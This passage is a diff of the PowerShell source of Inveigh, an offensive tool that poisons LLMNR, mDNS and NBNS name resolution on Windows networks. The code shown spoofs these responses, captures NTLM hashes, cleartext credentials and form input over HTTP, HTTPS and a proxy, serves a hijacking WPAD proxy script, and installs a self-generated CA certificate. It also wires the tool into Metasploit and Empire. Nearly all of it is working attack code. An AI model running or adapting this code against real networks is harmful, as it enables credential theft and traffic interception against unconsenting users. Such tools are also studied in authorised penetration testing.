-SMBRelay" - } - - if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) - { - throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" - } - elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') - { - throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" - } - -} - if($HTTPDefaultFile -or $HTTPDefaultEXE) { if(!$HTTPDir) { - throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + Write-Output "Error:You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + throw } } @@ -353,77 +424,154 @@ if($WPADIP -or $WPADPort) if(!$WPADIP) { - throw "You must specify a -WPADPort to go with -WPADIP" + Write-Output "Error:You must specify a -WPADPort to go with -WPADIP" + throw } if(!$WPADPort) { - throw "You must specify a -WPADIP to go with -WPADPort" + Write-Output "Error:You must specify a -WPADIP to go with -WPADPort" + throw } } -if(!$OutputDir) +if($NBNSBruteForce -eq 'Y' -and !$NBNSBruteForceTarget) +{ + Write-Output "Error:You must specify a -NBNSBruteForceTarget if enabling -NBNSBruteForce" + throw +} + +if(!$FileOutputdirectory) { $output_directory = $PWD.Path } else { - $output_directory = $OutputDir + $output_directory = $FileOutputdirectory } if(!$inveigh) { $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList - $inveigh.cleartext_list = New-Object System.Collections.ArrayList - $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList } if($inveigh.running) { - throw "Invoke-Inveigh is already running, use Stop-Inveigh" + Write-Output "Error:Invoke-Inveigh is already running, use Stop-Inveigh" + throw } -elseif($inveigh.relay_running) + +if($HTTP_listener.IsListening -and !$inveigh.relay_running) { - throw "Invoke-InveighRelay is already running, use Stop-Inveigh" + $HTTP_listener.Stop() + $HTTP_listener.Close() } -$inveigh.sniffer_socket = $null - -if($inveigh.HTTP_listener.IsListening) +if(!$inveigh.relay_running) { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.POST_request_file_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.console_input = $true + $inveigh.console_output = $false + $inveigh.file_output = $false + $inveigh.HTTPS_existing_certificate = $false + $inveigh.HTTPS_force_certificate_delete = $false + $inveigh.log_output = $true + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.POST_request_out_file = $output_directory + "\Inveigh-FormInput.txt" } -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_application_ID = $HTTPSCertAppID -$inveigh.certificate_thumbprint = $HTTPSCertThumbprint -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.HTTP_response = $HTTPResponse -$inveigh.HTTP_directory = $HTTPDir -$inveigh.HTTP_default_file = $HTTPDefaultFile -$inveigh.HTTP_default_exe = $HTTPDefaultEXE -$inveigh.WPAD_response = $WPADResponse -$inveigh.challenge = $Challenge +if($ElevatedPrivilege -eq 'Auto') +{ + $elevated_privilege = [Bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") +} +else +{ + + if($ElevatedPrivilege -eq 'Y') + { + $elevated_privilege = $true + } + else + { + $elevated_privilege = $false + } + +} + +if($StartupChecks -eq 'Y') +{ + + $firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} + + if($HTTP -eq 'Y') + { + $HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPPort " + } + + if($HTTPS -eq 'Y') + { + $HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$HTTPSPort " + } + + if($Proxy -eq 'Y') + { + $proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr /C:"$HTTPIP`:$ProxyPort " + } + + if($LLMNR -eq 'Y' -and !$elevated_privilege) + { + $LLMNR_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5355 " + } + + if($mDNS -eq 'Y' -and !$elevated_privilege) + { + $mDNS_port_check = netstat -anp UDP | findstr /C:"0.0.0.0:5353 " + } + +} + +if(!$elevated_privilege) +{ + + if($HTTPS -eq 'Y') + { + Write-Output "Error:-HTTPS requires elevated privileges" + throw + } + + if($SpooferLearning -eq 'Y') + { + Write-Output "Error:-SpooferLearning requires elevated privileges" + throw + } + + $NBNS = "Y" + $SMB = "N" + +} + +$inveigh.hostname_spoof = $false $inveigh.running = $true if($StatusOutput -eq 'Y') @@ -446,28 +594,62 @@ else if($Inspect) { - $LLMNR = "N" - $NBNS = "N" - $HTTP = "N" - $HTTPS = "N" - $SMB = "N" + + if($elevated_privilege) + { + $LLMNR = "N" + $mDNS = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + else + { + $HTTP = "N" + $HTTPS = "N" + $Proxy = "N" + } + } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension { $inveigh.tool = 1 $inveigh.output_stream_only = $true $inveigh.newline = "" $ConsoleOutput = "N" + } elseif($Tool -eq 2) # PowerShell Empire { $inveigh.tool = 2 $inveigh.output_stream_only = $true $inveigh.console_input = $false - $inveigh.newline = "`n" - $ConsoleOutput = "Y" + $inveigh.newline = "" + $LogOutput = "N" $ShowHelp = "N" + + switch ($ConsoleOutput) + { + + 'Low' + { + $ConsoleOutput = "Low" + } + + 'Medium' + { + $ConsoleOutput = "Medium" + } + + default + { + $ConsoleOutput = "Y" + } + + } + } else { @@ -476,132 +658,360 @@ else } # Write startup messages -$inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null -$inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null -$inveigh.status_queue.Add("Listening IP Address = $IP") > $null -$inveigh.status_queue.Add("LLMNR/NBNS Spoofer IP Address = $SpooferIP") > $null +$inveigh.status_queue.Add("Inveigh $inveigh_version started at $(Get-Date -format 's')") > $null -if($LLMNR -eq 'Y') +if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("LLMNR Spoofing Enabled") > $null - $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- spoofed response has been sent" + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh $inveigh_version started") > $null +} + +if($LogOutput -eq 'Y') +{ + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh started") > $null + $inveigh.log_output = $true } else { - $inveigh.status_queue.Add("LLMNR Spoofing Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofing is disabled" + $inveigh.log_output = $false +} + +if($ElevatedPrivilege -eq 'Y' -or $elevated_privilege) +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Enabled") > $null +} +else +{ + $inveigh.status_queue.Add("Elevated Privilege Mode = Disabled") > $null +} + +if($firewall_status) +{ + $inveigh.status_queue.Add("Windows Firewall = Enabled") > $null + $firewall_rules = New-Object -comObject HNetCfg.FwPolicy2 + $firewall_powershell = $firewall_rules.rules | Where-Object {$_.Enabled -eq $true -and $_.Direction -eq 1} |Select-Object -Property Name | Select-String "Windows PowerShell}" + + if($firewall_powershell) + { + $inveigh.status_queue.Add("Windows Firewall - PowerShell.exe = Allowed") > $null + } + +} + +$inveigh.status_queue.Add("Primary IP Address = $IP") > $null + +if($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y') +{ + $inveigh.status_queue.Add("LLMNR/mDNS/NBNS Spoofer IP Address = $SpooferIP") > $null +} + +if($LLMNR -eq 'Y') +{ + + if($elevated_privilege -or !$LLMNR_port_check) + { + $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null + $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null + $LLMNR_response_message = "- response sent" + } + else + { + $LLMNR = "N" + $inveigh.status_queue.Add("LLMNR Spoofer Disabled Due To In Use Port 5355") > $null + } + +} +else +{ + $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "- LLMNR spoofer is disabled" +} + +if($mDNS -eq 'Y') +{ + + if($elevated_privilege -or !$mDNS_port_check) + { + $mDNSTypes_output = $mDNSTypes -join "," + + if($mDNSTypes.Count -eq 1) + { + $inveigh.status_queue.Add("mDNS Spoofer For Type $mDNSTypes_output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("mDNS Spoofer For Types $mDNSTypes_output = Enabled") > $null + } + + $inveigh.status_queue.Add("mDNS TTL = $mDNSTTL Seconds") > $null + $mDNS_response_message = "- response sent" + + } + else + { + $mDNS = "N" + $inveigh.status_queue.Add("mDNS Spoofer Disabled Due To In Use Port 5353") > $null + } + +} +else +{ + $inveigh.status_queue.Add("mDNS Spoofer = Disabled") > $null + $mDNS_response_message = "- mDNS spoofer is disabled" } if($NBNS -eq 'Y') { $NBNSTypes_output = $NBNSTypes -join "," + $NBNS_response_message = "- response sent" if($NBNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("NBNS Spoofing Of Type $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("NBNS Spoofing Of Types $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null - $NBNS_response_message = "- spoofed response has been sent" } else { - $inveigh.status_queue.Add("NBNS Spoofing Disabled") > $null - $NBNS_response_message = "- NBNS spoofing is disabled" + $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "- NBNS spoofer is disabled" +} + +if($NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + + if($NBNSBruteForcePause) + { + $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + } + +} + +if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') +{ + $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null +} + +if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + + if($SpooferLearningDelay -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + } + elseif($SpooferLearningDelay -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + } + + if($SpooferLearningInterval -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + } + elseif($SpooferLearningInterval -eq 0) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + } + elseif($SpooferLearningInterval -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + } + } if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests for " + $SpooferHostsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null } if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests for " + $SpooferHostsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null } if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests from " + $SpooferIPsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null } if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests from " + $SpooferIPsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null } if($SpooferRepeat -eq 'N') { $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating Disabled") > $null + $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null } else { $inveigh.spoofer_repeat = $true } -if($SMB -eq 'Y') +if($SMB -eq 'Y' -and $elevated_privilege) { - $inveigh.status_queue.Add("SMB Capture Enabled") > $null + $inveigh.status_queue.Add("SMB Capture = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Capture Disabled") > $null + $inveigh.status_queue.Add("SMB Capture = Disabled") > $null } if($HTTP -eq 'Y') { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null + + if($HTTP_port_check) + { + $HTTP = "N" + $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null + } + else + { + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + } + + $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + } + } else { - $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null + $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null } if($HTTPS -eq 'Y') { - try + if($HTTPS_port_check) { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null - } - catch - { - $certificate_store.Close() - $HTTPS="N" + $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null + } + else + { + + try + { + $inveigh.certificate_issuer = $HTTPSCertIssuer + $inveigh.certificate_CN = $HTTPSCertSubject + $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + if(!$certificate_check) + { + # credit to subTee for cert creation code https://github.com/subTee/Interceptor + $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" + $certificate_issuer_distinguished_name.Encode("CN=" + $inveigh.certificate_issuer, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + $certificate_key = new-object -com "X509Enrollment.CX509PrivateKey" + $certificate_key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" + $certificate_key.KeySpec = 2 + $certificate_key.Length = 2048 + $certificate_key.MachineContext = 1 + $certificate_key.Create() + $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" + $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" + $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) + $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $certificate.InitializeFromPrivateKey(2,$certificate_key,"") + $certificate.Subject = $certificate_distinguished_name + $certificate.Issuer = $certificate_issuer_distinguished_name + $certificate.NotBefore = (get-date).AddDays(-271) + $certificate.NotAfter = $certificate.NotBefore.AddDays(824) + $certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment.CObjectId + $certificate_hash_algorithm_OID.InitializeFromAlgorithmName(1,0,0,"SHA256") + $certificate.HashAlgorithm = $certificate_hash_algorithm_OID + $certificate.X509Extensions.Add($certificate_enhanced_key_usage_extension) + $certificate_basic_constraints = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $certificate_basic_constraints.InitializeEncode("true",1) + $certificate.X509Extensions.Add($certificate_basic_constraints) + $certificate.Encode() + $certificate_enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $certificate_enrollment.InitializeFromRequest($certificate) + $certificate_data = $certificate_enrollment.CreateRequest(0) + $certificate_enrollment.InstallResponse(2,$certificate_data,0,"") + $inveigh.certificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -match $inveigh.certificate_issuer}) + } + else + { + + if($HTTPSForceCertDelete -eq 'Y') + { + $inveigh.HTTPS_force_certificate_delete = $true + } + + $inveigh.HTTPS_existing_certificate = $true + $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + } + + $inveigh.HTTPS = $true + + if($HTTPIP -ne '0.0.0.0') + { + $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null + } + + if($HTTPSPort -ne 443) + { + $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null + } + + $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + + } + catch + { + $HTTPS = "N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null + } + } } else { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null + $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null } -if($inveigh.HTTP -or $inveigh.HTTPS) +if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') { $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null + if($WPADAuth -like "NTLM*") + { + $WPADAuthIgnore = ($WPADAuthIgnore | Where-Object {$_ -and $_.Trim()}) + + if($WPADAuthIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + } + + } + if($HTTPDir -and !$HTTPResponse) { $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null @@ -620,7 +1030,12 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Custom Response Enabled") > $null + $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + } + + if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') + { + $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') @@ -628,11 +1043,86 @@ if($inveigh.HTTP -or $inveigh.HTTPS) $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null } - if($WPADIP -and $WPADPort) - { - $inveigh.status_queue.Add("WPAD Response Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) + if($HTTPResetDelay.Count -gt 0) + { + $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + } + + if($Proxy -eq 'Y') + { + + if($proxy_port_check) + { + $Proxy = "N" + $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null + } + else + { + $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null + $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null + $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $ProxyPortFailover = $ProxyPort + 1 + $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) + + if($ProxyIgnore.Count -gt 0) + { + $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + } + + if($ProxyIP -eq '0.0.0.0') + { + $proxy_WPAD_IP = $IP + } + else + { + $proxy_WPAD_IP = $ProxyIP + } + + if($WPADIP -and $WPADPort) + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $WPADIP`:$WPADPort; DIRECT`";}" + } + else + { + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $proxy_WPAD_IP`:$ProxyPort; PROXY $proxy_wpad_IP`:$ProxyPortFailover; DIRECT`";}" + } + + } + + } + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + } + + if($WPADResponse -and $Proxy -eq 'N') + { + $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + } + elseif($WPADResponse -and $Proxy -eq 'Y') + { + $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null + } + + } + elseif($WPADIP -and $WPADPort) + { + $inveigh.status_queue.Add("WPAD Response = Enabled") > $null + $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + if($WPADDirectHosts) { ForEach($WPAD_direct_host in $WPADDirectHosts) @@ -640,27 +1130,19 @@ if($inveigh.HTTP -or $inveigh.HTTPS) $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } - $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null + $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } else { - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $WPADResponse = "function FindProxyForURL(url,host){$WPAD_direct_hosts_function return `"PROXY $WPADIP`:$WPADPort; DIRECT`";}" } } - elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + elseif($WPADDirectFile -eq 'Y') { - $inveigh.status_queue.Add("WPAD Custom Response Enabled") > $null - $inveigh.WPAD_response = $WPADResponse - } - else - { - if($WPADEmptyFile -eq 'Y') - { - $inveigh.status_queue.Add("WPAD Default Response Enabled") > $null - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"DIRECT`";}" - } + $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" } if($Challenge) @@ -672,7 +1154,7 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Ignoring Machine Accounts") > $null + $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -680,9 +1162,18 @@ else $inveigh.machine_accounts = $true } -if($ConsoleOutput -eq 'Y') +if($ConsoleOutput -ne 'N') { - $inveigh.status_queue.Add("Real Time Console Output Enabled") > $null + + if($ConsoleOutput -eq 'Y') + { + $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + } + else + { + $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + } + $inveigh.console_output = $true if($ConsoleStatus -eq 1) @@ -704,7 +1195,7 @@ else } else { - $inveigh.status_queue.Add("Real Time Console Output Disabled") > $null + $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null } } @@ -720,13 +1211,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time File Output Enabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null $inveigh.status_queue.Add("Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.status_queue.Add("Real Time File Output Disabled") > $null + $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -738,6 +1229,11 @@ else $inveigh.file_unique = $false } +if($RunCount) +{ + $inveigh.status_queue.Add("Run Count = $RunCount") > $null +} + if($RunTime -eq 1) { $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null @@ -747,69 +1243,60 @@ elseif($RunTime -gt 1) $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null } -if($SMBRelay -eq 'N') +if($ShowHelp -eq 'Y') { - - if($ShowHelp -eq 'Y') - { - $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions") > $null - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null - if($inveigh.console_output) - { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null - } - + if($inveigh.console_output) + { + $inveigh.status_queue.Add("Press any key to stop real time console output") > $null } - if($inveigh.status_output) +} + +if($inveigh.status_output) +{ + + while($inveigh.status_queue.Count -gt 0) { - while($inveigh.status_queue.Count -gt 0) + switch -Wildcard ($inveigh.status_queue[0]) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - $inveigh.status_queue.RemoveRange(0,1) - } - else + {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} { - switch ($inveigh.status_queue[0]) + if($inveigh.output_stream_only) { - - "Run Stop-Inveigh to stop Inveigh" - { - Write-Warning($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - - default - { - Write-Output($inveigh.status_queue[0]) - $inveigh.status_queue.RemoveRange(0,1) - } - + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.status_queue[0]) } + $inveigh.status_queue.RemoveAt(0) + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.status_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.status_queue[0]) + } + + $inveigh.status_queue.RemoveAt(0) } } } -} -else -{ - try - { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID 